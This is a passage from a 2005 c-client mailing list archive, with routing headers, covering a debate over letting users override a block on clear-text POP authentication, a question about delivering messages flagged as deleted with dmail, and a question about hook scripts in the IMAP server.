the other message in this thread is the same: I do *not* want to eliminate this block. I want to provide the user with a way to override it. Just as a warning is shown before connecting to a server which requires sending password in clear text, a user could be warned that it's a potential security problem and that what he does may be contrary to the server administration policy. And then let each user decide for himself whether he wants to do it or not. I'm just trying to give user a choice in the matter and how does it mean "not caring to my users" or being responsible for "tsunami of worms, viruses, and spam" is beyond me. Anyhow, thanks for explaining your point of view. VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 2 15:10:59 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 15:10:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12NAxsG027816 for ; Wed, 2 Feb 2005 15:10:59 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12NAwpb018179 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 15:10:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12NAqgi015738; Wed, 2 Feb 2005 15:10:52 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12N9jLU051994 for ; Wed, 2 Feb 2005 15:09:45 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12N9i4D032154 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 2 Feb 2005 15:09:44 -0800 Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12N9h1K002474 for ; Wed, 2 Feb 2005 15:09:43 -0800 Received: from [195.159.148.126] (dhcp7.xu.nordahl.net [195.159.148.126]) by smtp1.powertech.no (Postfix) with ESMTP id 5E7898215; Thu, 3 Feb 2005 00:09:41 +0100 (CET) Message-Id: Date: Thu, 3 Feb 2005 00:09:38 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frode Nordahl To: Vadim Zeitlin Cc: c-client Interest List Subject: Re: Re[5]: POP servers not advertising USER in CAPA reply In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Feb 2, 2005, at 22:55, Vadim Zeitlin wrote: > MC> In that case, the user can cancel his account at that ISP and find > an > MC> alternative ISP which complies with the standards. > > How many users are going to do this? Or, more importantly, how many > ISPs > would do anything even if [s]he did? Many. I'm working at one of the largest ISPs in Norway, and we take pride in allways attempting to do things the right way, following standards, and generally being nice internet citizens. However, with your attitude towards the problem, no one will change. Is the pop server (or proxy) developed inhouse at the ISP, or is it from an external vendor? If it's an external vendor, go after them, and It'll eventually get in to the ISP through a security update. Either way there is probably someone sitting there that is just like your or me that would be very happy to learn about their honest mistake and correct it. It's not like ISP's or indeed ISV's are large chunks of grey matter, molded, never to change. (Although it might seem that way if you try to fight your way up from first line support or sales contacts). If everyone was to go about and put in band-aids to support everyone elses errors and misfeatures, we'll end up with a large, randomly misbehaving mess. You are free to do whatever you want, but I am glad to see that c-client will never grow such defects. Regards, Frode From pinedev@shivax2.cac.washington.edu Wed Feb 2 15:22:47 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 15:22:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j12NMkJZ028409 for ; Wed, 2 Feb 2005 15:22:46 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12NMj3q003499 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 15:22:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j12NMbh7013224; Wed, 2 Feb 2005 15:22:37 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12NLogf078576 for ; Wed, 2 Feb 2005 15:21:50 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12NLnre013617 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 2 Feb 2005 15:21:50 -0800 Received: from smtp.tt-solutions.com (sunset.tt-solutions.com [81.56.246.156]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j12NLlMM003412 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 2 Feb 2005 15:21:49 -0800 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1CwTog-0001dU-00 for ; Thu, 03 Feb 2005 00:21:46 +0100 Message-Id: Date: Thu, 3 Feb 2005 00:21:52 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Interest List Subject: Re[7]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 3 Feb 2005 00:09:38 +0100 Frode Nordahl wrote: FN> Many. I'm working at one of the largest ISPs in Norway, and we take FN> pride in allways attempting to do things the right way, following FN> standards, and generally being nice internet citizens. My sincere congratulations. But you also should know how rare this behaviour is. And, moreover, you probably don't use server broken in such bad way anyhow because you know what you're doing. ISPs running the servers like this one do not. And in my experience they don't care. FN> However, with your attitude towards the problem, no one will change. This attitude comes from experience. It may be lesser than that of MRC but it is not negligible. I'd rather spend time on writing code and improving my program (for which I don't have enough time now) instead of wasting time with that ISP. FN> (Although it might seem that way if you try to fight your way up from FN> first line support or sales contacts). It certainly seems this way to me. After trying to discuss with a few of them in the past I am not about to repeat this (painful) experience. Please don't forget that this is not my work and there is a limit to the time I can spend helping a user of my program. Quoting Mark Crispin: MRC> Time and time again, I hear "our server works with Outlook and MRC> Thunderbird, therefore the bug is in Pine; so we're not going to MRC> change our server or even look any further." If he (knowing who he is and all that) keeps hearing this, how many chances of success do I have? Let's be reasonable for a change... FN> You are free to do whatever you want, but I am glad to see that FN> c-client will never grow such defects. This would be a defect in a server. I still have no idea why allowing the user to override a badly broken server behaviour from his client is a defect. And so far I still see no reason for a user (knowing that he is careless enough to use POP, to use clear text auth, and to use such broken server) to not do it. And no other workaround, except for switching to another client. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 2 18:02:26 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Feb 2005 18:02:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j1322QWT002771 for ; Wed, 2 Feb 2005 18:02:26 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1322Pth032616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 2 Feb 2005 18:02:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1322JoW013050; Wed, 2 Feb 2005 18:02:19 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1320xsc014256 for ; Wed, 2 Feb 2005 18:00:59 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1320wxi009361 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 2 Feb 2005 18:00:59 -0800 Received: from ns0.typhoon.co.jp (ns0.typhoon.co.jp [210.174.160.130]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1320vKq032526 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 2 Feb 2005 18:00:58 -0800 Received: from ns0.typhoon.co.jp (localhost [127.0.0.1]) by ns0.typhoon.co.jp (8.13.3/8.13.3/TIS) with ESMTP id j1320uKg001873 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 3 Feb 2005 11:00:56 +0900 (JST) Received: from localhost (nfung@localhost) by ns0.typhoon.co.jp (8.13.3/8.13.3/Submit) with ESMTP id j1320u0k001870 for ; Thu, 3 Feb 2005 11:00:56 +0900 (JST) Message-Id: Date: Thu, 3 Feb 2005 11:00:56 +0900 (JST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ml To: c-client@CAC.Washington.EDU Subject: Re[7]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: ClamAV version 0.81, clamav-milter version 0.81b on ns0.typhoon.co.jp X-Virus-Status: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 3 Feb 2005, Vadim Zeitlin wrote: >FN> You are free to do whatever you want, but I am glad to see that >FN> c-client will never grow such defects. > > This would be a defect in a server. I still have no idea why allowing >the user to override a badly broken server behaviour from his client is a >defect. And so far I still see no reason for a user (knowing that he is >careless enough to use POP, to use clear text auth, and to use such >broken server) to not do it. And no other workaround, except for >switching to another client. Leaving the right or wrong question for a moment, I can just imagine how confused my John/Jane Doe users would be if I were to offer them a choice of overriding the broken server. The support desk will be swarmed by confused users. If they CARE about the danger of sending passwords in clear text, they wouldn't have used those ISPs-with-broken-servers in the first place. You may have covered your behind when you offer users the choice of "Do you really want to do this?" but it'll confuse them more than anything else. -- N. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 4 05:05:10 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 4 Feb 2005 05:05:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j14D5AJg014904 for ; Fri, 4 Feb 2005 05:05:10 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14D59RR019765 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 4 Feb 2005 05:05:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j14D4tpQ016742; Fri, 4 Feb 2005 05:04:56 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14D37NX103102 for ; Fri, 4 Feb 2005 05:03:08 -0800 Received: from fri.itea.ntnu.no (fri.itea.ntnu.no [129.241.7.60]) by mxe2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14D36bp016541 for ; Fri, 4 Feb 2005 05:03:07 -0800 Received: from localhost (localhost [127.0.0.1]) by fri.itea.ntnu.no (Postfix) with ESMTP id 5092A82D9 for ; Fri, 4 Feb 2005 14:03:05 +0100 (CET) Received: from serv1.ub.ntnu.no (serv1.ub.ntnu.no [129.241.191.100]) by fri.itea.ntnu.no (Postfix) with ESMTP for ; Fri, 4 Feb 2005 14:03:05 +0100 (CET) Received: from uall1055.ub.ntnu.no (uall1055.ub.ntnu.no [129.241.191.55]) (authenticated bits=0) by serv1.ub.ntnu.no (8.12.11/8.12.11) with ESMTP id j14D34AN018443 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 4 Feb 2005 14:03:05 +0100 Message-Id: <06242FC9D0048893F713AC02@uall1055.ub.ntnu.no> Date: Fri, 04 Feb 2005 14:02:59 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steinar Kaaro To: c-client@u.washington.edu Subject: Setting deleted flag before delivery MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no. X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm using dmail to deliver mail to some shared folders (mbx). I would like=20 to set the deleted flag on certain messages before they are delivered.=20 dmail does not seem to have an option for doing this. From what I've found, = the flags are kept in the X-Status header. Thus I tried doing something=20 like this in procmail: |formail -i "X-Status: D"|dmail "+#shared/sharedbox" The header is added to the messages, but it has no effect. Is it possible=20 to do something like this? -- regards Steinar Kaar=F8 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 4 09:30:46 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 4 Feb 2005 09:30:46 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j14HUkSC025215 for ; Fri, 4 Feb 2005 09:30:46 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14HUjmF006576 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 4 Feb 2005 09:30:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j14HUa3p008690; Fri, 4 Feb 2005 09:30:37 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14HTBOx036506 for ; Fri, 4 Feb 2005 09:29:11 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14HT90S027206 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 4 Feb 2005 09:29:11 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j14HT86G025102; Fri, 4 Feb 2005 09:29:09 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14HT8lL024468; Fri, 4 Feb 2005 09:29:08 -0800 Message-Id: Date: Fri, 4 Feb 2005 09:29:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steinar Kaaro Cc: c-client@u.washington.edu Subject: Re: Setting deleted flag before delivery In-Reply-To: <06242FC9D0048893F713AC02@uall1055.ub.ntnu.no> References: <06242FC9D0048893F713AC02@uall1055.ub.ntnu.no> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The short answer is: there is no option to deliver a message as deleted. As you discovered, your hack with X-Status won't work, especially not with messages in formats other than traditional UNIX (since X-Status is only with traditional UNIX format). To do it right, you'll have to add a switch to dmail to set \Deleted, that works much like the existing -s switch that sets \Seen. However, I question why you want to do this. What's the point of delivering a message if it's going to be deleted? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Feb 4 15:10:21 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 4 Feb 2005 15:10:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j14NALg1006872 for ; Fri, 4 Feb 2005 15:10:21 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14NAKTt031326 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 4 Feb 2005 15:10:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j14NAFCA017076; Fri, 4 Feb 2005 15:10:15 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14N96Sr023742 for ; Fri, 4 Feb 2005 15:09:06 -0800 Received: from fri.itea.ntnu.no (fri.itea.ntnu.no [129.241.7.60]) by mxe3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j14N94tK015651 for ; Fri, 4 Feb 2005 15:09:05 -0800 Received: from localhost (localhost [127.0.0.1]) by fri.itea.ntnu.no (Postfix) with ESMTP id 4013C7EF1; Sat, 5 Feb 2005 00:09:04 +0100 (CET) Received: from serv1.ub.ntnu.no (serv1.ub.ntnu.no [129.241.191.100]) by fri.itea.ntnu.no (Postfix) with ESMTP; Sat, 5 Feb 2005 00:09:02 +0100 (CET) Received: from [10.0.0.5] (159.80-202-30.nextgentel.com [80.202.30.159]) (authenticated bits=0) by serv1.ub.ntnu.no (8.12.11/8.12.11) with ESMTP id j14N91I7000659 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 5 Feb 2005 00:09:02 +0100 Message-Id: Date: Sat, 05 Feb 2005 00:07:21 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steinar Kaaro To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Setting deleted flag before delivery In-Reply-To: References: <06242FC9D0048893F713AC02@uall1055.ub.ntnu.no> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no. X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Friday, February 04, 2005 09:29:08 AM -0800 Mark Crispin wrote: > The short answer is: there is no option to deliver a message as deleted. > As you discovered, your hack with X-Status won't work, especially not > with messages in formats other than traditional UNIX (since X-Status is > only with traditional UNIX format). > > To do it right, you'll have to add a switch to dmail to set \Deleted, > that works much like the existing -s switch that sets \Seen. > I kind of expected this answer, but I had to ask. > However, I question why you want to do this. What's the point of > delivering a message if it's going to be deleted? > It's a long story: The messages have been filtered, and inserted into a database system for further manual processing before being delivered to the shared box. Sometimes the processing in the database system fails, and there is a need to reply to some of the messages. Since there are a lot of other types of messages being delivered to the same box, I came up with the idea of flagging the filtered messages as deleted. This would make it easy for the users to separate them. I can of course deliver them to a separate box, but since it's a large number of boxes, the flagging would keep things a bit simpler. In general I think it would be nice to be able to manipulate all the IMAP flags before delivery (not only the seen-flag). Thank you for a great product, and excellent support. Steinar From pinedev@shivax2.cac.washington.edu Mon Feb 7 13:29:15 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Feb 2005 13:29:14 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j17LTEw8018615 for ; Mon, 7 Feb 2005 13:29:14 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j17LTBIP010401 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Feb 2005 13:29:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j17LSxVM012506; Mon, 7 Feb 2005 13:28:59 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j17LRSYY005130 for ; Mon, 7 Feb 2005 13:27:28 -0800 Received: from shaun.wasmer.ca (shaun.wasmer.ca [64.26.155.159]) by mxe2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j17LRQcS012236 for ; Mon, 7 Feb 2005 13:27:28 -0800 Received: from [192.168.1.176] (g19-210.citenet.net [205.151.195.210]) (authenticated bits=0) by shaun.wasmer.ca (8.12.10/8.12.10) with ESMTP id j17LRPKn029076 for ; Mon, 7 Feb 2005 16:27:26 -0500 (EST) Message-Id: <4207DD3D.4010501@jl.wasmer.ca> Date: Mon, 07 Feb 2005 16:27:25 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jean-Luc Wasmer To: c-client@u.washington.edu Subject: Hook scripts MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, How can I call a specific script when a user connects to the server or does any other stuff (like read or erase mail)? Thanks, JL -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Feb 7 18:42:26 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Feb 2005 18:42:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j182gQri029963 for ; Mon, 7 Feb 2005 18:42:26 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j182gPop017111 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Feb 2005 18:42:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j182gJW5011076; Mon, 7 Feb 2005 18:42:19 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j182e7tk023668 for ; Mon, 7 Feb 2005 18:40:07 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j182e6CQ019157 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 7 Feb 2005 18:40:07 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j182e6A9029940; Mon, 7 Feb 2005 18:40:06 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j182e6lA009506 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 7 Feb 2005 18:40:06 -0800 Message-Id: Date: Mon, 7 Feb 2005 18:40:08 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jean-Luc Wasmer Cc: c-client@u.washington.edu Subject: Re: Hook scripts In-Reply-To: <4207DD3D.4010501@jl.wasmer.ca> References: <4207DD3D.4010501@jl.wasmer.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 Feb 2005, Jean-Luc Wasmer wrote: > How can I call a specific script when a user connects to the server or does > any other stuff (like read or erase mail)? At the current time, the only way would be to modify the c-client source code. There is no such feature in c-client today. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 8 12:16:52 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Feb 2005 12:16:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j18KGpgs004223 for ; Tue, 8 Feb 2005 12:16:51 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j18KGo6X025000 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 12:16:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j18KGdSA007588; Tue, 8 Feb 2005 12:16:40 -0800 Received: from 